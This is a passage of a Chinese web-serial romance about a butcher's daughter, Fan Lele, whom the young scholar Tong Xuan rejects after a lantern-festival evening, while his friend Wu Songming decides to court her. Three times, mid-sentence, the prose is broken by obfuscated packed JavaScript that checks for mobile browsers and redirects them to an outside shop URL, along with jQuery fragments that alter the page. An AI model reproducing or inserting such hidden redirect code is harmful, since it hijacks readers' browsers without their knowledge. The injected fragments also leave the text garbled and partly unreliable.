范屠户没有搭她的话,他见女儿这样,知是那个臭小子还没有同她说开。范屠户已经在心里琢磨,要磨哪把杀猪刀,拿去剁那个臭小子了。 范乐乐在欢乐肉铺待了半个下午,提前跟她爹告假走了。 她骗范屠户,今晚要陪芳姨去选布料,申请晚点回家。 有芳姨作保,范屠户还是比较放心的,便也打发她去了。 可他不知道,范乐乐这话只真了一半,她确实要去找芳姨,不过并不是陪她选布料。 河边的一处低洼小院。 木门斑驳,墙皮脱落,院子里一棵高大的桂花树,盘虬立在墙角。 芳姨搬两张椅子在树下,一高一低,乘着桂花树的树荫,替范乐乐盘起头发。 范乐乐低着头,却也不安分,用脚追逐着沙沙的树影,有一搭没一搭地踩着。 “别动。”不知第多少次,芳姨又忍不住提醒她。 她吐吐舌头,连忙收住自己的脚。 “下次再给你盘头发,该给你准备个磨喝乐在手上,省得你无聊坐不住,影响我的手艺。”芳姨忍俊不禁道。 范乐乐也笑。没办法,她从小就是个坐不住的性子,上树掏鸟,下河摸鱼,追着邻居家欺负人的小男孩儿暴打。连隔壁佟叔都感叹,她比男孩儿还皮。不过范乐乐想,佟叔应该是拿他儿子与自己作比较,若是和佟暄比,那这个世上没有几个人是不皮的,毕竟他从小就稳稳重重的,一副小大人模样。 虽然他有时候也挺幼稚的,但他的幼稚,只有自己见得多。嘻嘻。 “又傻笑什么呢?”芳姨拍拍她的头,明知故问。 “没什么。”她赶紧端正起来。 芳姨默默一笑,似是被她感染,只觉心里也泛起了甜。 昨日,范乐乐跑过来,说是要自己替她打掩护。小姑娘羞赧着脸,大眼睛扑闪扑闪的,凑到她耳边道:“佟暄约我去放河灯呐!” 芳姨一听理由,笑了,果断应下。她还叮嘱范乐乐早早过来,她要给她盘个最时兴的头发。 真好,以前还担心,乐乐太过主动会吃亏,现在看来,总算是能够修成正果了。毕竟街坊邻里,已经有不少议论了。只怪佟暄太出挑,范乐乐又是个没心肺的,她这个性子,根本不懂去在意这些。 十六、七岁的懵懂姑娘,满心满眼,都只有自己喜欢的人。 这种感觉很美好,芳姨陪着她走了一遭,仿佛也跟着重温了一把,年少时的懵懂悸动。 “好了。”她扶正她的头,精致的羊角小髻上扎一对黄绸带,这就算是大功告成了。 范乐乐转过脸来,露齿一笑,“芳姨,好看吗?” 少女扬起脸,被树枝筛落的暖黄夕阳铺在她脸上,暖融融的。细腻如瓷的肌肤吹弹可破,如同上好的羊脂,流动着温亮的光。一对月牙眼儿盛满清泉,干净得没有一丝杂质,欢喜从里面满溢出来,点亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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路过的人少不得都要多看几眼,可范乐乐浑然不觉,只沉浸在自己的幸福幻想中,想着想着,竟还觉出一丝丝紧张…… “范乐乐。” 听到有人叫,她蹭地站直了身子,眼神立马寻到不远处站着的少年。 佟暄刚从书院下了学,回家放了书箧,衣服也没想起换,还是那身洗得松垮的学子服,只庆幸人气质高拔,方才没叫那寒酸的衣着掩了光辉去。 佟暄还未及迈步,范乐乐就小脸一扬,哼哧哼哧跑过来。 “佟暄,你终于来啦!” 她仰起头,咧嘴冲他笑,小脸儿晒出了胭脂红,鬓发渗着薄汗。再配上那句“终于”,叫佟暄听得直皱眉。 “你等多久了?”他似乎不耐烦她等他。 “也就一会儿。”她嘿嘿乐。 范乐乐的“一会儿”,听听就成。 “肚子饿了吧?先带你吃点东西。”眼神并未在她身上过多停留,佟暄背手转身,长腿一迈,径直往前走。 和范乐乐走,他几乎从不回头,因为他知道无论自己走出多远多快,她都一定会跟上。 范乐乐定在原地呆了会儿,眼睛里的小灯笼瞬间黯淡了。 他刚刚看自己的眼神……未免也太平静了吧,就跟看平常杀猪宰肉的范乐乐没什么两样儿,甚至激不起他眼底的些微波澜。 她默默垂下头,拎起裙角左瞧右看,又摸了摸自己头上的发髻。呀,明明很好看的呀…… 她噘着嘴,心里嘟囔了一阵,再抬头看时,却见佟暄早已甩着他那对大长腿,快要淹没在人群中了。 “佟暄!你等等我呀!” 阴霾只是片刻,她又提上裙子,乐颠颠地跟过去,生怕在人海里把他看丢了。 范乐乐不知道的是,就在佟暄出声叫她前,他已经站在柳荫下,盯着她看了好久,好久。 10. 狠拒芳心 佟暄带范乐乐去了家馄饨铺子,待两人饱食一顿后出来,街上已经点起了灯。 夜幕彻底降临了。 眼见得天色已黑,范乐乐越发兴奋了起来,因为这意味着,终于可以逛夜市啦! 浔阳县东的嘉宜街,一到夜晚便灯火通明,有时灼灼烛火直燃到子时后还依然不肯停歇。 街上有卖各类杂嚼吃食,书画扇面……还有各种稀奇古怪的小玩意儿。杂耍的艺人一到上灯,便搬着家伙什儿,来这里表演买吆喝。 “你挑个如意的河灯,我们快些走。” 佟暄的目标很明确,买灯、放灯、说开、走人。 范乐乐连连点头,嘴上应着好好好,可一旦钻到闹市里,就再没有谁能将她按住了。如一尾活鱼入了水,甩着尾巴呲溜溜地游,滑溜地叫人捉不住。 她一会儿看上了那个吹糖人,一下又中意那个捏泥人,没多久功夫,佟暄手里就抱了一堆物件。他低头乍眼一看,全是些没什么用的东西,隔天就会被她堆在房间角落里,再隔天就会被扫入簸箕里。 “范乐乐,你再不挑了河灯走,我就……” 话未完,范乐乐被前方一阵欢呼声吸引了去,扭头就跑,根本没理会他在说什么。 “快去!前面在打铁花了!” 佟暄:“……” 她矮下身子,从人群中突围,泥鳅似的灵活,钻到了最前面。 前方的视野果然开阔,只见那汉子光裸着上身,衣服勒在腰间,肌肉遒劲的手臂高举铁锤,往铁块上狠狠一抡,瞬间,火花四溅,往四周迸散开来,似菊花绽裂,似满天星落,光亮璀璨,迷人眼目。 “哇!!!”范乐乐惊叫,鼓动双手使劲拍掌,拍得掌心通红,只觉还不过瘾。 那人又将铁锤抡起,范乐乐忍不住上前两步,就要凑近去看。 “范乐乐!” 后衣领被人拽住,硬生生将她拉回人群。待她反应过来,一道挺拔清修的身影已经挡在她面前,遮去了大半视线。 “哎呀,你挡着我了。”范乐乐左右挪腾,怎么也越不过去少年高大的身形。 “我想站近点看嘛。”她弱弱地出声。 要是凑近了看,肯定会更美呀! 佟暄没有回头,抻着修长的脖子,用后脑勺无情地道:“就在我身后看。” “哦。”她只好应下,乖巧地站在他身后。 这个范乐乐,真是叫他服气。别人看到这个迸溅的火星子,只敢往后退,姑娘家更是生怕烧了衣服,她倒好,巴巴地往前凑,果真是个傻大胆。佟暄忍不住腹诽。 十八岁的少年,身量实在长到太高,几乎将她整个挡住,范乐乐只好踮起脚,从他肩膀处探出半张小脸儿,眼巴巴地望着前面打出的灿烂火花。 又一铁锤打下,漆黑的眼眸中绽出光焰,像烟花开在了夜空里。 “哇!” 范乐乐复开口惊叹。少女菲薄的气息吹在他耳垂边,吹来淡淡的橙花清香,挠得他耳根痒痒的。 佟暄禁不住,轻轻一个哆嗦。还好,她光顾着看打铁花,对于少年的细微变化根本毫无察觉。 范乐乐踮久了,小腿有点发酸,她双手扣住他的右肩,下巴垫上去,继续痴痴观赏着打出的铁花。 佟暄身子都僵了。 那股带着香气的热源缓缓流动,几乎快要软化了他周身的凛冽气息。 “范乐乐,快走了。” 他又开始赶人了,声音比之前又格外严肃了些。 “你再不去挑河灯,我今晚就回家了。”他平静地吐出最后一个字,怕再多说一个,嗓子都要发紧。 “知道了。”她把脚根又落回了原地。 范乐乐不情愿地从打铁花处撤走,又兴致勃勃地挑了个兔子河灯,蹦蹦跶跶,就要拎到河边去放。 今日夏至,河边聚集了许多人,来点灯祈福,期盼着河水能够带着这一簇光亮,实现他们美好的心愿,寄托对亲人的哀思。 河面上漂浮着许多灯,顺水流而下,远望去,如同一条流动的银河。 范乐乐蹦蹦跶跶跳下台阶,提起裙角往膝盖中间一掖,确认不会把裙子弄脏后,顺势蹲在了河边。 她转头,伸手朝佟暄要河灯,却见他手里捧着、咯吱窝夹着,身上简直琳琅满目,堆满了她买的小东小西。 她噗地笑了,“你先把东西放地上。” 佟暄铁黑着脸,弯腰把东西放下,方才拎着她的兔子灯,走下台阶。 他把灯递到范乐乐手上,从袖子里掏出火折子,擦亮,递到灯芯处,将灯火点燃。 “想许什么愿望?”他收回火折子,敛眸问道。 小兔子被照得亮通通的,阴影投在他侧脸,切割出越发深邃的轮廓。他一半照在亮光里,一半隐在阴影处,点漆如墨的眸子深沉幽邃,叫人探不到底。 “希望我爹爹平平安安、健健康康的!”她想也没想,脱口而出。 她第一个挂在心上的,永远是爹爹。 “然后……我们家的铺子生意蒸蒸日上,越做越好!”她继续脆生生许愿,眼睛被河里的璀璨灯火照得亮晶晶的。 佟暄看着她,定定吐出一个字:“好。” 好?范乐乐偏头,看着他笑,左边一颗小虎牙轻轻顶出来,“你说‘好’管什么用?你是河神大人吗?” “自然不是。”他垂下眼,将灯托在手中,“但是我说‘好’,就准保管用。” 她的愿望,他一定会帮她实现,除了……那一个。 佟暄护着范乐乐,看她倾身将河灯放入河中,小兔子在河面上打了个旋儿,就要开始它的奇妙漂流旅程。 范乐乐赶忙闭上眼,双手握拢,搁在下巴上,开始虔诚许愿: 希望爹爹平安健康。 希望欢乐肉铺越来越旺。 希望……我喜欢的人他也能喜欢我。 嘻嘻。 她耸耸肩,抿嘴傻笑。 再一睁眼,小兔子已经随着流水,飘出好几丈远去了。她依依不舍地目送,到最后只能看到它汇入万千星河,成为光带的一点。 “走!回家!” 范乐乐拍拍手起身,大步跨上台阶,俯身去捞刚刚被佟暄搁在地上的小玩意儿们。 “这个换我来拿吧,都是我非要买的……” “范乐乐。”佟暄站在她面前,深沉如渊的眼眸凝视着她。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459485|141660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “怎么了嘛……”范乐乐被他看得直发毛,紧抱着怀里的东西,恨不能把脸埋进去。 自己又做错什么了嘛……怎么他一副要训人的模样。 果然,他眉头紧紧一皱,连声音都严肃了:“这次叫你出来,我是有话想要跟你说。” “嗯。”她点头,扑闪着一双大眼睛看他。 佟暄不能直视她过于纯粹的眼神,只觉得心被一只大手揪住,呼吸都困难了。他想要避开她的眼睛,可理智告诉他,他必须直视她的目光。 “我……”他面露纠结地开口,眼神里闪着分明的仓皇,似乎即将要开口一件难于启齿的事。 奇怪,佟暄什么时候这么黏黏糊糊、不干脆过了?他向来是说一不二的果决性子。 难道…… 范乐乐挣大眼,一双乌黑的杏眸圆滚滚的。 佟暄要跟自己表白?! 被自己的想法吓到,她身子打了个踉跄,手中的东西差点没拿稳。 不是吧?不是吧?!这个河灯这么灵吗?才许的愿望,这么快就应验了? 范乐乐是个脸上藏不住事儿的,有点什么想法全都明明白白儿地写上头了。 佟暄看着她眼里闪现出的期待,晃了一下神,连忙狠下心道:“我拜托你,你以后别再缠着我了。别来佟家找我,也别来书院找我了。” “梆”! 头上像被人抡了一锤,她眼神迷茫,红唇微张,灵魂出走了好一会儿。 他这是……什么意思? “我……我没听……听明白……”她抖着嘴唇发问。 “意思我已经说得很明白了。”他语气明显不耐烦,“你是有哪个字听不懂吗?” “可是我……”她哽咽,雾气漫上了眼眶,每一个字音都带着委屈,“我……” “范乐乐。”佟暄连忙打断,短促地吸一口气,神情冷硬地道:“我们都已经长大成人了,不是小孩子了,要懂得顾及男女大防。以后我们就保持距离,你……赶紧找个好人家嫁了吧。” 她愣了。 须臾,泪水唰地充满了眼眶,沿着眼边儿打圈儿,下一刻就要坠落。 他胸口一窒,果断转身,大踏步离去。 佟暄,不要回头看,不要看…… 他咬咬牙,迈步往前走。就像过去曾经的每一次那样,他的脚步从来都只顾向前,而从不曾为她停驻。 范乐乐呆在原地,望着他决绝的牙白背影,修长挺拔,渐行渐远,吞噬在黑夜里。 那句被截断的话,就这么咽回了肚子里:可是,我真的很喜欢你呀…… 她低头,眼泪如泄闸的洪水,汹涌而出,一滴一滴,啪嗒啪嗒,落在了她怀中的小泥人脸上。小泥人龇牙咧嘴的笑脸被糊成一片,扭曲成可怖的模样,似在嘲笑她的不自量力、自作多情。 可是佟暄,我真的很喜欢你呀…… 她闭上眼,哭得瑟瑟发抖。 那么空旷的河堤,那么肆虐的晚风,那么小小的人儿。她被喜欢的人丢下,像个小丑,白白守着一场空欢喜。 泪水没入衣领,湿乎乎贴着脖子,粘腻发紧,就像她这珍藏了好多年的喜欢,狼狈,又不堪。 11. 兄弟阋墙 夏夜晚星,虫鸣蛙噪。 范屠户在家等到酉时,还不见范乐乐回来,又开始着了急。他套上草鞋,一瘸一拐地越过两条巷子,来到了芳姨门前。 他敲响了门,“阿芳?” 没人应声。 担心是里头人睡着了,听不到门,他又抡起拳头,哐哐砸两下,“阿芳!” 终于,里面有了动静。院门打开,开门的却是芳姨那个倒霉催的赌鬼儿子。 “你娘呢?”范屠户懒得跟这个不孝子客气,直接硬声开问。 邹越峰打了个大大的哈欠,一股子冲天酒气逼得范屠户倒退两步。他揉了揉迷瞪的肿泡眼,倚着门懒懒散散道:“不在,出去了。” 阿芳居然还没回?他竟是稍稍放心了点。阿芳很少夜里出门,一般来说这个点肯定在家,现在竟然不在,八成是还跟乐乐在一块儿。 还好,乐乐有个长辈陪着,他心放宽了点。这朗朗乾坤的,应该也出不了什么事吧?估计就是两个人逛到乐不思蜀了。 他心里这么自我安慰着,随即瞪一眼邹越峰,这才有了点训他的心思。“你大晚上的,这是喝了多少酒?你说说你,这么大个人了,什么时候能够让你妈省点心?成天不是赌博就是喝酒!再这样下去,哪家姑娘敢嫁给你?你想把你妈拖死才甘心吗?!” “啧!”他不耐地扯开嘴角,“你要真这么心疼我娘,怎么不干脆把她娶了算了?” “你……!”范屠户气结,懒得跟他废话,又丢下几句难听话,拐着腿走了。他还要回去等他家乐乐呢。 “呸!个死瘸子!”邹越峰暗地里啐他一口,把门拍上,又大摇大摆地晃到后厢房,敲开了他娘的卧室。 门刚一打开,他就把个手往前递,“我可是帮你把那个屠户骗走了,答应我的银子呢?” 芳姨只是叹气,剜他一眼,把二两银子拍在他手上,“说好了,不许再去赌了!” “嘁!这点钱,够下几个注呀?我买酒喝呐!”他颠了颠手上的银子,哼着小曲儿走了。 芳姨唉声叹气地关上门。 自己这是造了什么孽?生出这么个不成气候的儿子。 想当初,芳姨也是欢乐肉铺的常客,一来二去地,和范屠户便也熟络了起来。他们俩,一个瘸子,一个寡妇,约莫生出了点惺惺相惜的意思,经常互相帮衬着。如此来往地多了,两个人便也渐渐看对了眼。 本来都要谈婚论嫁了,可就是她这个混账儿子,竟然对范乐乐起了歹心,差点没叫他得了手。自此,她和范屠户的婚事是彻底告吹了。她知道,他把他那个宝贝女儿看得比自己命还重,宁可委屈了自己,也绝不会将范乐乐置于潜在的危险之中。 婚事虽然谈崩了,但两个人的情谊还在,这么些年,她也没少帮着照顾范乐乐,也真就像她半个娘了。 想起乐乐,连芳姨都有点担心了。既然自己答应了她,无论如何也要帮她圆这个了谎,可她和佟暄出去约会,未免也弄到太晚了吧? 这少年少女的,都是情窦初开之际,很容易便初尝了禁果。若是他俩干柴碰上了烈火……她不敢想,那自己这不是害了乐乐吗? 嗨,她转念又一想。佟暄这个孩子,品行好,性情稳,应该不至于会对乐乐做出这种事。 * “爹,我回来了。” 院门打开,范屠户听着动静,咻地从屋里冲出来,跛着腿上蹿下跳地走来。 “你怎么回事?弄到这么晚?” “哦,和芳姨在嘉宜街又逛了会儿夜市。”说完,拎起手上的东西,“看,给您买的酱牛肉,明儿下酒吃。” 她笑容勉强,简直像是有人牵住她的嘴角,硬往上扯,眼里也不复往日的光彩。 见爹爹狐疑地盯着自己,她担心被看出端倪,连忙低头往厨房走。 尽管回家前她用河水洗净了脸,还在河边吹了好一会儿风,调整好了心情才回家,可她还是担心那双微肿的眼睛会将自己出卖。 她不想让爹爹担心。 喜欢佟暄,从头到尾都是她自己一个人的事情,她想自己处理好。 “你站住!” 范屠户叫住了女儿,绕到她身前,“怎么了?和芳姨出去逛街不开心?” 她摇摇头。可那周身的低迷气息,依旧叫范屠户敏锐捕捉到了异常。范屠户人虽看着粗鄙,对于范乐乐的情绪却十分敏感。 毕竟她这个闺女,本就是个藏不住心事儿的。 范屠户轻轻拽着她的手腕,把她带到院里石凳上坐下,“到底出什么事了?有什么不开心的,都可以跟爹说,天塌下来了,也还有爹在呢。” 爹爹此话一出,她终于绷不住,所有的委屈倾巢而出,瘪着嘴,眼泪哗啦啦掉。 范屠户一看女儿这样,彻底急了,蹭地跳起,“是不是邹越峰那个混蛋又骚扰你了?!” “不是……不是……”她忙摇头,揩去脸上的泪。 “我今天和芳姨出去,碰着佟暄了。”怕爹爹瞎跳脚,她情知瞒不住,打算如实相告。但依然很有默契地,和芳姨继续圆着原来那个谎。 范屠户被“佟暄”两个字钉住了。不用她说,他已经知道了缘由。 也是,能让他宝贝女儿哭成这样的,也只有那个混小子有本事做到了。 霎时,他心里竟松了口气。这个臭小子,总算兑现了诺言。 虽然这个事是他一力促成的,但看着女儿哭成这样,还是不由心痛。 他重重叹气,挨着女儿身边坐下,布满伤痕的粗糙大掌温柔轻抚她的头。 爹爹的大掌温暖有力,瞬间催生出她所有的委屈,咿咿呀呀地哭着,泪水猛往嘴里灌,“爹爹……他……他不喜欢我,他真的……不喜欢我……” “哎……我的傻闺女……”范屠户忍着泪意,把她揽入怀里。 女儿每一个带哭腔的字,都像是一把插入心脏的刀,搅得他心里血肉模糊。 范乐乐在她怀里哭得一抖一抖,他恨不能现在就跃过墙去,把那个姓佟的小子大卸八块! 但他心里其实清楚,这件事……也怪不了人家。 喜欢这种东西,最是勉强不来。 范乐乐抽噎着,泪水洇湿了他胸口的衣服,心口那里凉飕飕的。 “乐乐乖,不哭。”他拍着她的头,轻声哄着:“是那个姓佟的小子没眼光,没福气,我们家乐乐不知多好呢,人见人爱,从小就招人稀罕。” 他有节奏地拍着她的头,眼里流露出怀念的神情,“我记得以前啊,爹爹带你去肉铺做生意,每一个看到你的顾客都要上前逗你几下,说没见过这么可爱的小女娃。” “你记不记那个时候,爹爹牵你上街,哎呦,一圈下来,手里揣了好多杂嚼!那些卖吃食的老板见着你,各个都要送你点好吃的。呵呵。” 范屠户的笑声没能驱走范乐乐的悲伤,她肩膀颤抖,哭得更委屈了,“爹……这么多人都喜欢我……为什么他就不能喜欢我……为什么……” 女儿的话听得他心里又酸又痛,鼻头一红,差点老泪纵横。 “乐乐呀……你还小,有些事不明白。这你喜欢不喜欢呀,不重要,一个男人愿意对你好,那才是最重要的。” 范乐乐听得直摇头。 范屠户叹气,明白她现在还转不过来这弯儿,可知县的儿子犹如一块巨石压在他心头,沉甸甸叫他喘不过气。 “乐乐,你听爹的,既然你跟那个姓佟的没可能,爹明儿就叫媒婆给你介绍几个青年才俊,咱好好挑挑,啊?” 范乐乐头摇得跟拨浪鼓似的。 范屠户一下就来了气,“怎么?你难不成还惦记着那个混小子?!” “不是……”她从范屠户怀里直起身来,脸上泪痕斑驳,“我是觉着……想缓一缓,反正我也不急着嫁人,还想再多陪陪爹爹。等我调整好了再去相看,也不迟啊,爹你说呢?” 范屠户眉毛愁成了个八字。 这当然好呀,他也觉得这样最好,可是女大不中留啊。怪只怪她家乐乐顶着这么仙女似的一张脸,却托生在了自己这么个没用的屠户家里。他护不住她。 未免生来祸端,必须赶紧给乐乐寻个称意的夫家。 “要不这样,明儿我让媒婆送些册子来,咱们先相看着,反正就是看看嘛,万一有中意的呢?岂不是缘分?就算没有也不妨事,无非就是多个选择嘛。” 范乐乐低头沉默,随即点了点头。 范屠户长舒一口气,这下便好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吴松明:“怎么个事儿?你俩吵架啦?” 佟暄垂眸盯着《孟子》上的字,长睫一扇,眼底墨色翻涌。 方恺立马跳起,“新鲜!就范乐乐那个跟在你身后巴巴舔的小狗样儿,她也能舍得跟你吵架?” 吴松明不乐意了,举起手中的瓜子袋往他头上砸,“你说谁是狗呢?不许你这么说乐乐!” 方恺回他一巴掌,吴松明就拿瓜子儿去丢他,两个人就这么你来我往地打闹。 “够了。”佟暄严肃开口。 两个人都停了手,看向他。 “是她忽然发现,她不喜欢我了。”他神色平静,低头去翻桌上的书。 方恺和吴松明张大了嘴,像被他这句话点了穴。 “不可能吧!”吴松明率先打破僵局,“乐乐她……她不喜欢你了?!她亲口跟你说的?” “嗯。”佟暄点头。 方恺狐疑地观察着他的神情,只是不相信。 他在佟暄对面坐下,盯着他低垂的深瞳,探究道:“子言,是不是你拒绝了……” “没有。”佟暄打断,“是她不要我了。”他长睫深深垂下,盖去了眼底的情绪。 吴松明嘴巴张得能放下个鸡蛋了,他脑子里空白了几瞬,这才结结巴巴道:“那……那那……她跟你……” “没有关系了。”佟暄只是冷硬道。“她以后想嫁谁嫁谁,你们莫要再拿我和她说事儿了,对她影响不好。” “真的!”吴松明跳起,眼里闪着激动的波光,脸色因过度兴奋而泛出菲薄的潮红。 佟暄说范乐乐不喜欢他的话,方恺是不相信的,可很显然,吴松明那个缺根筋的相信了。而且相信得很彻底。 吴松明:“那……那子言……如果我现在追求乐乐,你……应该不会介意吧?” 这下轮到方恺嘴巴能塞鸡蛋了。 他狠拍一下他的胳膊,“你说什么呢?!” 佟暄握着狼毫笔的手一紧,微蹙眉,调整了下神色后,方才抬眸看去。 他面上神情无异,偏一双眼睛,漆黑如墨,山雨欲来。 12. 醋味大发 吴松明的话如一记惊雷,在三个人间炸响。 他像是没有探究出佟暄莫测的神情,自顾自道:“我……我也不瞒你们,我一直是心仪乐乐的呀……只是之前,她心里都只有子言,从没拿正眼瞧过我……” 他边说,边觑着佟暄,见他只是脸色比平时苍白了点,但神情并无不悦,依旧是那副清清淡淡的模样,又继续大着胆子道:“我知道,自己比不上子言,处处都比不上。” 他这一说,佟暄眼神里闪过诧异,“松明……” 吴松明:“你不用安慰我,明眼人都能瞧出来。我要是个长眼睛的姑娘,我肯定也选你,不选我自己。”说着,他笑笑挠了挠头,“所以之前,我一直都把我的心思默默藏着,因为……因为乐乐她喜欢你呀!所以我想,只要乐乐开心,你们俩能成最好,我会衷心地祝福你们,真的!” 他如是说着,瞪起他那对圆眼睛,朝二人脸庞扫一圈。 吴松明真真地人如其名,他生了一张圆脸庞,又长了一对圆眼睛,那眼睛里总是盛满水一般清澈的笑意,对谁都和和气气的,看着不大精明的样子,可就是让人愿意同他相与。 “可是现在,你说乐乐她不喜欢你了,我就想知道……如果我追求乐乐,你应该不会介意吧?” 方恺震惊了。 他知道吴松明是憨,可没料到他能那么憨,竟没看出佟暄和范乐乐之间这复杂的纠葛。 也不知是不是歪打正着,有时候正是这种直肠子,方才能够击破人心思的那点弯弯绕绕。快刀方能斩乱麻。 吴松明:“我一直把你当最好的兄弟,所以这件事,想要知道你的想法。”他坦然出口,神色清明,有种勘不破红尘情事的坦荡。 佟暄面无表情地直视吴松明,墨黑的眸子如深渊巨海,面上水波不兴,可那底下却有滚烫的岩浆翻腾,随时等待着掀起一场巨浪滔天的海啸。 倏忽间,他眉心轻轻一挑,眼眸复又染上温和。 “当然不会。” 话毕,攥着毛笔的右手青筋暴突,“咔嚓”一声轻响,紫竹笔管在他掌心秘密地断成两截。 * 吴松明得了佟暄的首肯,彻底放下心来,全面开始了他的“追妻攻略”。 因为每日都要去书院点卯,他必须穿学子服,无缘花哨的衣服,于是便想法儿从别的地方下手。 这日,吴松明出现在书院,还是那身常穿的牙白直裰学子服,却是熨得一丝不苟。帽子也不戴了,头发被一只白玉簪子尽数绾起,梳得服服帖帖。嘴边的胡子刮得干净,本就幼态的脸庞越发显出白净。他面上含笑地走来,脚下仿佛生起了风。 什么叫意气风发?这小子,人姑娘还没到手呢,就自己在那儿傻乐呵。 方恺暗暗摇头。 可他这模样,竟是叫他想起了追着佟暄跑时的范乐乐。你别说,这么一想,这两人倒还真有点夫妻相,都有种一往无前的憨劲儿。 方恺见他走来,忙打趣儿道:“呦,见过吴公子。” “去去去,你少来。”吴松明笑着制止他。 佟暄默默抬头,冷眼瞥他,没说话。 “哎?”方恺忽然皱眉,皴起鼻子,凑到他身上直嗅。“你这……这身上都啥味儿啊?” 只一息,他的狗鼻子就嗅出来了。 衣服,苏合香熏过的,头发,抹了百合味的头油。 各种香味混合在一起,说不出的……馥郁。 方恺再看看满面桃花的吴松明,只觉他身后开出了一大扇公孔雀的尾巴。 挺好,真挺好。佟暄要是能用上吴松明十分之一的心思,估计他和范乐乐的娃都快生出来了。 吴松明笑呵呵承受了方恺对他的调侃,还有佟暄的冷淡,没聊几句,戴哲便恭迎了夫子进来,大家纷纷回到座位,开始了一天的学习。 “所谓平天下在治其国者……” 夫子在前面摇头晃脑地高声讲着,吴松明在下面左耳朵进右耳朵出,他今日上课尤其心不在焉,隔了一会儿子,就忍不住去摸袖口里的步摇。 他细细摩挲着金簪的纹路。蝶恋花的样式,金光辉耀,上面坠着三颗红石玛瑙,手一拨弄,撞出叮当的清响。 他想象着,乐乐簪上这只步摇的样子,该有多美? 他从未在范乐乐身上见过什么珠宝首饰,自及笄起,她常年就别着一根简单的檀木簪子,身上也总是粗布麻衣。真可惜,这样美若娇花的姑娘,却被就此掩去了光彩。 吴松明从未这样急切过,这样煎熬过。他只想赶紧下学,好飞奔到欢乐肉铺前,亲眼看她将这只步摇簪到头上。 吴松明的走神被同桌方恺敏锐捕捉,一下了课,便立马去抽他袖子里的步摇,嘻嘻笑闹地故意捧到佟暄跟前儿,“瞧瞧,这家伙对哥们儿可从来都没有这么大方过。” “你还给我!”吴松明涨红了脸怒喝,生怕他没轻没重的,一个不小心给那步摇碰坏咯。 “我看看怎么了?瞅你那重色轻友的样儿。” 两个人争执间,方恺手中的步摇忽地被人抽走了。 佟暄凝视着那只步摇,内心暗嗤,面上却是不显。“这支步摇,范乐乐不会收的。”他将其递回吴松明手中。 吴松明愣愣地接过,有点不服气了。虽然佟暄对什么都总是一副尽在掌握的样子,可他现在用这种语气评价自己送给乐乐的礼物,就是蓦地叫他心里不爽快。 “为什么?” 佟暄靠近椅子里,双手环胸看着他,“第一次就送这么贵重的礼物,她不会觉得高兴,只会觉得心里压力很大。因范乐乐不是那看重金银、爱慕虚荣的女子。” “况且,她常年要帮家里经营肉铺,头上戴的簪子越简洁越好,你这个步摇叮当作响的,她还怎么砍猪肉?” 而且,他还知道一个原因,范乐乐必不会舍得换下她现在别的那根檀木簪子。 他一口气说完,语气平稳,面色平静,叫人看不出端倪,只是那双冷峻的眸子,暗暗涌动着挑衅的神态。 夹在二人中间的共同好友方恺,此时此刻如履薄冰。 但还好,吴松明是个憨的,他完全咂摸不出佟暄眼神里的深意,听完后,只是一脸懊恼地盯着自己的金步摇,“你又不是乐乐,你怎么知道她不会喜欢?” 佟暄薄唇一弯,“我只是随口说说,你试试不就知道了?” 试试就试试,哼! * 自上回范乐乐应了爹爹要相看夫家的事,范屠户马不停蹄就去安排,这几日,她被媒婆送上来的册子看花了眼。 但她本就是一时搪塞爹爹,方才应下。刚刚被喜欢的人拒绝,她还没那个心情相看下家,再加上翻了媒婆递来的册子,只觉得越看越失落。 范屠户见女儿是这种敷衍塞责的态度,登时气不打一处来,他抄过册子,一页一页翻,“你看看!这里头,哪个就比他佟暄差?” 他翻到一页眉清目秀的少年,手在纸上用力点着,“这个!东街香烛铺掌柜的儿子,十九岁。你看看,人长相也不差,年纪跟你也相仿,你怎么就不能考虑考虑了?” 范乐乐撇撇嘴,“看画上就只有这模样,瞧着真人还不定怎么着呢。” 范屠户觉着女儿说的有理,为了堵她的嘴,他特地去做了暗中访查。 那日,他去香烛铺借口买纸钱,可恰巧掌柜儿子不在,他便拉着店伙计,请他去燕时楼喝酒吃饭。 几杯酒下肚,店伙计高兴,便也什么话都说了。 原来这掌柜儿子人确实长得清秀,脸上没有麻子没有疤,个子也不矮,称得上一个貌端体健吧。 只是人没什么上进心,铺子里的事从来也不管。十四岁就收了第一个通房,这才十九岁年纪,就已经有三个通房了,连第一个外室子都已经呱呱坠地了呢。 好家伙!范屠户气得拍案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459487|141660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而起。这张媒婆真是什么人都敢往他家介绍,不打听不知道,一打听吓一跳。这么个不干不净的男人,也配得上他家乐乐?!趁早地滚蛋! 